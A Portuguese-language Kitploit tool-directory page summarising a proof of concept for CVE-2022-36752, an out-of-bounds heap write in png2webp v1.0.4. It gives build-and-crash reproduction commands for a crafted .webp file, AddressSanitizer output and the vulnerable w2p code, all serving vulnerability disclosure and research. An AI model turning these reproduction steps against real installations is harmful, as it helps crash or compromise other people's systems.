Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-36752 — Proof of concept for CVE-2022-36752 | Kitploit
Ferramentas/GitHubGitHub/halcy0nic/cve-2022-36752
Vulnerability AnalysisExploitationFuzzingBinary AnalysisPapers & ResearchLearning & Education
GitHubhalcy0nic/cve-2022-36752

CVE-2022-36752

Proof of concept for CVE-2022-36752

Ver Repositório
1há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Descrição para CVE-2022-36752

Foi descoberto que o png2webp v1.0.4 contém uma escrita fora dos limites através da função w2p. Esta vulnerabilidade é explorável através de um arquivo webp malicioso ao reverter o formato de volta para png.

Reprodução

Para reproduzir a vulnerabilidade, baixe a versão vulnerável do png2webp (v1.0.4) e compile o projeto:

root@kitploit:~
git clone https://github.com/landfillbaby/png2webp.git
cd png2webp
git checkout 0c7119109cde91127a263bf0af252e5e730f7fba
git submodule update --init --depth 1
./configure && make

Depois que o projeto for compilado, podemos apontar o png2webp para nosso arquivo .webp malicioso incluído neste repositório (CVE-2022-36752_crash.webp):

root@kitploit:~
./png2web -r CVE-2022-36752_crash.webp

O comando anterior produzirá uma falha e retornará uma mensagem de erro:

root@kitploit:~
corrupted size vs. prev_size

Para entender melhor onde a falha está ocorrendo, vamos recompilar o projeto com o address sanitizer (ASAN) adicionando -fsanitize=address à variável CFLAGS no Makefile. Também queremos que o compilador armazene informações da tabela de símbolos no executável (flag -g) para nos ajudar a determinar qual linha de código produziu a falha:

root@kitploit:~
ifeq (${uname_m},x86_64)
CFLAGS ?= -O3 -Wall -Wextra -pipe -flto=auto -DNDEBUG -march=x86-64-v2 -fsanitize=address -g

Em seguida, limparemos quaisquer arquivos obsoletos e recompilaremos o projeto:

root@kitploit:~
make clean
make

O ASAN reporta uma escrita inválida de tamanho 12 no programa, confirmando a existência de uma vulnerabilidade de escrita fora dos limites:

root@kitploit:~
==222970==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000010 at pc 0x563e3ec4ee6a bp 0x7fff3a7b04d0 sp 0x7fff3a7b04c8
WRITE of size 12 at 0x602000000010 thread T0
    #0 0x563e3ec4ee69  (/dev/shm/png2webp/png2webp+0x23e69)
    #1 0x563e3ec3df34  (/dev/shm/png2webp/png2webp+0x12f34)
    #2 0x7fcfe4967189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #3 0x7fcfe4967244 in __libc_start_main_impl ../csu/libc-start.c:381
    #4 0x563e3ec3e3f0  (/dev/shm/png2webp/png2webp+0x133f0)

0x602000000017 is located 0 bytes to the right of 7-byte region [0x602000000010,0x602000000017)
allocated by thread T0 here:
    #0 0x7fcfe4cae7cf in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x563e3ec46052  (/dev/shm/png2webp/png2webp+0x1b052)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/dev/shm/png2webp/png2webp+0x23e69) 
Shadow bytes around the buggy address:
  0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa[07]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==222970==ABORTING

Código vulnerável na função w2p():

root@kitploit:~
  if(l < 12
#ifdef SSIZE_MAX
    || l - 12 > SSIZE_MAX
#endif
  ) {
    PF("ERROR reading %s: %s", IP, k[2]);
    goto w2p_close;
  }

Referências

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36752
  • https://cwe.mitre.org/data/definitions/787.html
Baixar ferramenta